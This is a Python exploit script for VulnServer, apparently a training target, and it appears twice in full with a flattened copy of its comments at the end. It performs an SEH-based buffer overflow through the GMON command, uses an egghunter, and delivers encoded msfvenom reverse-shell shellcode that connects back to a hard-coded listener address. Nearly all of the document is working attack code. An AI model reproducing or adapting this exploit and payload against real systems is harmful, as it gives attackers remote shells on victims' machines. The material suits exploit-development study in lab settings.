#!/usr/bin/env python
"""
Description: Buffer Overflow via "GMON" (SEH|egghunter) in VulnServer
Author: <NAME>
Contact: @cwinfosec (twitter)
Date: 1/25/2020
Tested On: Windows XP SP2 (EN)

[+] Usage: python expoit.py <IP> <PORT>

$ python exploit.py 127.0.0.1 9999
"""

import socket
import struct
import sys

host = sys.argv[1]
port = int(sys.argv[2])

# POP EAX | POP EAX | RETN at 0x625011B3 in essfunc.dll

nSEH = "\x90\x90\xeb\x04"
SEH = struct.pack("<I", 0x625011B3)
backjmp = "\xeb\xd6"                    # JMP SHORT $-40

egghunter = (
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x44\x33\x52\x50\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
)

# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.16 LPORT=4444 -e x86/shikata_ga_nai -b '\x00' -f python
# x86/shikata_ga_nai chosen with final size 351

shellcode = "D3RPD3RP"
shellcode += b"\xb8\xfa\x2b\x8e\x9f\xdb\xd7\xd9\x74\x24\xf4\x5e\x33"
shellcode += b"\xc9\xb1\x52\x31\x46\x12\x83\xee\xfc\x03\xbc\x25\x6c"
shellcode += b"\x6a\xbc\xd2\xf2\x95\x3c\x23\x93\x1c\xd9\x12\x93\x7b"
shellcode += b"\xaa\x05\x23\x0f\xfe\xa9\xc8\x5d\xea\x3a\xbc\x49\x1d"
shellcode += b"\x8a\x0b\xac\x10\x0b\x27\x8c\x33\x8f\x3a\xc1\x93\xae"
shellcode += b"\xf4\x14\xd2\xf7\xe9\xd5\x86\xa0\x66\x4b\x36\xc4\x33"
shellcode += b"\x50\xbd\x96\xd2\xd0\x22\x6e\xd4\xf1\xf5\xe4\x8f\xd1"
shellcode += b"\xf4\x29\xa4\x5b\xee\x2e\x81\x12\x85\x85\x7d\xa5\x4f"
shellcode += b"\xd4\x7e\x0a\xae\xd8\x8c\x52\xf7\xdf\x6e\x21\x01\x1c"
shellcode += b"\x12\x32\xd6\x5e\xc8\xb7\xcc\xf9\x9b\x60\x28\xfb\x48"
shellcode += b"\xf6\xbb\xf7\x25\x7c\xe3\x1b\xbb\x51\x98\x20\x30\x54"
shellcode += b"\x4e\xa1\x02\x73\x4a\xe9\xd1\x1a\xcb\x57\xb7\x23\x0b"
shellcode += b"\x38\x68\x86\x40\xd5\x7d\xbb\x0b\xb2\xb2\xf6\xb3\x42"
shellcode += b"\xdd\x81\xc0\x70\x42\x3a\x4e\x39\x0b\xe4\x89\x3e\x26"
shellcode += b"\x50\x05\xc1\xc9\xa1\x0c\x06\x9d\xf1\x26\xaf\x9e\x99"
shellcode += b"\xb6\x50\x4b\x0d\xe6\xfe\x24\xee\x56\xbf\x94\x86\xbc"
shellcode += b"\x30\xca\xb7\xbf\x9a\x63\x5d\x3a\x4d\x86\xa8\x4e\x9d"
shellcode += b"\xfe\xae\x4e\x8c\xa2\x27\xa8\xc4\x4a\x6e\x63\x71\xf2"
shellcode += b"\x2b\xff\xe0\xfb\xe1\x7a\x22\x77\x06\x7b\xed\x70\x63"
shellcode += b"\x6f\x9a\x70\x3e\xcd\x0d\x8e\x94\x79\xd1\x1d\x73\x79"
shellcode += b"\x9c\x3d\x2c\x2e\xc9\xf0\x25\xba\xe7\xab\x9f\xd8\xf5"
shellcode += b"\x2a\xe7\x58\x22\x8f\xe6\x61\xa7\xab\xcc\x71\x71\x33"
shellcode += b"\x49\x25\x2d\x62\x07\x93\x8b\xdc\xe9\x4d\x42\xb2\xa3"
shellcode += b"\x19\x13\xf8\x73\x5f\x1c\xd5\x05\xbf\xad\x80\x53\xc0"
shellcode += b"\x02\x45\x54\xb9\x7e\xf5\x9b\x10\x3b\x05\xd6\x38\x6a"
shellcode += b"\x8e\xbf\xa9\x2e\xd3\x3f\x04\x6c\xea\xc3\xac\x0d\x09"
shellcode += b"\xdb\xc5\x08\x55\x5b\x36\x61\xc6\x0e\x38\xd6\xe7\x1a"


payload = "\x41"*3463
payload += egghunter
payload += nSEH
payload += SEH
payload += backjmp
payload += "\x46"*(4000-len(payload))

buffer = "GMON /.:/"
buffer += payload   

def stager():  

    try:
        print "[+] Connecting to target"
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))   
        print "[+] Sent shellcode with length: %d" % len(shellcode)
        s.send("RTIME " + shellcode)
        s.close()
        main()

    except Exception, msg:
        print "[-] Something went wrong :("
        print Exception, msg


def main():

    try:
        print "[+] Connecting to target"
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.recv(512)
        print "[+] Sent payload with length: %d" % len(buffer)
        s.send(buffer)
        s.close()

    except Exception, msg:
        print "[-] Something went wrong :("
        print Exception, msg

stager()
#!/usr/bin/env python
"""
Description: Buffer Overflow via "GMON" (SEH|egghunter) in VulnServer
Author: <NAME>
Contact: @cwinfosec (twitter)
Date: 1/25/2020
Tested On: Windows XP SP2 (EN)

[+] Usage: python expoit.py <IP> <PORT>

$ python exploit.py 127.0.0.1 9999
"""

import socket
import struct
import sys

host = sys.argv[1]
port = int(sys.argv[2])

# POP EAX | POP EAX | RETN at 0x625011B3 in essfunc.dll

nSEH = "\x90\x90\xeb\x04"
SEH = struct.pack("<I", 0x625011B3)
backjmp = "\xeb\xd6"                    # JMP SHORT $-40

egghunter = (
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x44\x33\x52\x50\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
)

# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.16 LPORT=4444 -e x86/shikata_ga_nai -b '\x00' -f python
# x86/shikata_ga_nai chosen with final size 351

shellcode = "D3RPD3RP"
shellcode += b"\xb8\xfa\x2b\x8e\x9f\xdb\xd7\xd9\x74\x24\xf4\x5e\x33"
shellcode += b"\xc9\xb1\x52\x31\x46\x12\x83\xee\xfc\x03\xbc\x25\x6c"
shellcode += b"\x6a\xbc\xd2\xf2\x95\x3c\x23\x93\x1c\xd9\x12\x93\x7b"
shellcode += b"\xaa\x05\x23\x0f\xfe\xa9\xc8\x5d\xea\x3a\xbc\x49\x1d"
shellcode += b"\x8a\x0b\xac\x10\x0b\x27\x8c\x33\x8f\x3a\xc1\x93\xae"
shellcode += b"\xf4\x14\xd2\xf7\xe9\xd5\x86\xa0\x66\x4b\x36\xc4\x33"
shellcode += b"\x50\xbd\x96\xd2\xd0\x22\x6e\xd4\xf1\xf5\xe4\x8f\xd1"
shellcode += b"\xf4\x29\xa4\x5b\xee\x2e\x81\x12\x85\x85\x7d\xa5\x4f"
shellcode += b"\xd4\x7e\x0a\xae\xd8\x8c\x52\xf7\xdf\x6e\x21\x01\x1c"
shellcode += b"\x12\x32\xd6\x5e\xc8\xb7\xcc\xf9\x9b\x60\x28\xfb\x48"
shellcode += b"\xf6\xbb\xf7\x25\x7c\xe3\x1b\xbb\x51\x98\x20\x30\x54"
shellcode += b"\x4e\xa1\x02\x73\x4a\xe9\xd1\x1a\xcb\x57\xb7\x23\x0b"
shellcode += b"\x38\x68\x86\x40\xd5\x7d\xbb\x0b\xb2\xb2\xf6\xb3\x42"
shellcode += b"\xdd\x81\xc0\x70\x42\x3a\x4e\x39\x0b\xe4\x89\x3e\x26"
shellcode += b"\x50\x05\xc1\xc9\xa1\x0c\x06\x9d\xf1\x26\xaf\x9e\x99"
shellcode += b"\xb6\x50\x4b\x0d\xe6\xfe\x24\xee\x56\xbf\x94\x86\xbc"
shellcode += b"\x30\xca\xb7\xbf\x9a\x63\x5d\x3a\x4d\x86\xa8\x4e\x9d"
shellcode += b"\xfe\xae\x4e\x8c\xa2\x27\xa8\xc4\x4a\x6e\x63\x71\xf2"
shellcode += b"\x2b\xff\xe0\xfb\xe1\x7a\x22\x77\x06\x7b\xed\x70\x63"
shellcode += b"\x6f\x9a\x70\x3e\xcd\x0d\x8e\x94\x79\xd1\x1d\x73\x79"
shellcode += b"\x9c\x3d\x2c\x2e\xc9\xf0\x25\xba\xe7\xab\x9f\xd8\xf5"
shellcode += b"\x2a\xe7\x58\x22\x8f\xe6\x61\xa7\xab\xcc\x71\x71\x33"
shellcode += b"\x49\x25\x2d\x62\x07\x93\x8b\xdc\xe9\x4d\x42\xb2\xa3"
shellcode += b"\x19\x13\xf8\x73\x5f\x1c\xd5\x05\xbf\xad\x80\x53\xc0"
shellcode += b"\x02\x45\x54\xb9\x7e\xf5\x9b\x10\x3b\x05\xd6\x38\x6a"
shellcode += b"\x8e\xbf\xa9\x2e\xd3\x3f\x04\x6c\xea\xc3\xac\x0d\x09"
shellcode += b"\xdb\xc5\x08\x55\x5b\x36\x61\xc6\x0e\x38\xd6\xe7\x1a"


payload = "\x41"*3463
payload += egghunter
payload += nSEH
payload += SEH
payload += backjmp
payload += "\x46"*(4000-len(payload))

buffer = "GMON /.:/"
buffer += payload   

def stager():  

    try:
        print "[+] Connecting to target"
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))   
        print "[+] Sent shellcode with length: %d" % len(shellcode)
        s.send("RTIME " + shellcode)
        s.close()
        main()

    except Exception, msg:
        print "[-] Something went wrong :("
        print Exception, msg


def main():

    try:
        print "[+] Connecting to target"
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.recv(512)
        print "[+] Sent payload with length: %d" % len(buffer)
        s.send(buffer)
        s.close()

    except Exception, msg:
        print "[-] Something went wrong :("
        print Exception, msg

stager()
#!/usr/bin/env python Description: Buffer Overflow via "GMON" (SEH|egghunter) in VulnServer Author: <NAME> Contact: @cwinfosec (twitter) Date: 1/25/2020 Tested On: Windows XP SP2 (EN)  [+] Usage: python expoit.py <IP> <PORT>  $ python exploit.py 127.0.0.1 9999 # POP EAX | POP EAX | RETN at 0x625011B3 in essfunc.dll # JMP SHORT $-40 # msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.16 LPORT=4444 -e x86/shikata_ga_nai -b '\x00' -f python # x86/shikata_ga_nai chosen with final size 351